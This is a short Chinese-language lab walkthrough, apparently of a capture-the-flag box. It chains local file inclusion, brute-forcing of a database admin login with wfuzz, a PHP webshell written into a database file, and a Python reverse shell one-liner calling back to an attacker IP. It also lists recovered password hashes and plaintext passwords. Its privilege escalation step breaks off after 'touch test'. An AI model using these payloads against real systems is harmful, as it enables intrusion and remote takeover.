访问HTTP
http://10.10.202.150
http://10.10.202.150/view.php?page=tools.html
浏览到这种界面，尝试本地文件包含试试
http://10.10.202.150/view.php?page=../../.././etc/passwd
既然是HTTP，进行目录爆破下看看有没有其他web入口，尝试包含一些敏感文件来
╰─ dirb http://10.10.202.150/

经过访问，http://10.10.202.150/dbadmin/ 为SQL后台管理，尝试HTTP爆破，这里使用WFUZZ 大神器
╰─ wfuzz -c -z file,/opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt --hs "Incorrect password." -d "password=FUZZ&login=Log+In&proc_login=true" http://10.10.202.150/dbadmin/test_db.php
顺利登陆后台，我们尝试写webshell试试
创建一个库：
/usr/databases/usrdatabasesshell.php
创建一个表：shell
CREATE TABLE shell (column1 field Integer)
insert into shell values ('<?php echo system($_GET['cmd']); ?>')
看起来已经创建完成，我们尝试通过文件包含来进行访问下：
http://10.10.202.150/view.php?page=../../usr/databases/usrdatabasesshell.php&cmd=id
顺利执行，我们进行shell反弹
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://10.10.202.150/view.php?page=../../usr/databases/usrdatabasesshell.php&cmd=python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.202.146",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
尝试去寻找下这两个账户的密码
root 653F4B285089453FE00E2AAFAC573414 34kroot34
zico 96781A607F4E9F5F423AC01F0DAB0EBD zico2215@
尝试切换都失败
最后在wp-config.php 找到zico的密码
sWfCsfJSPV9H3AmQzw8
登录成功，尝试提权操作
touch test
完！
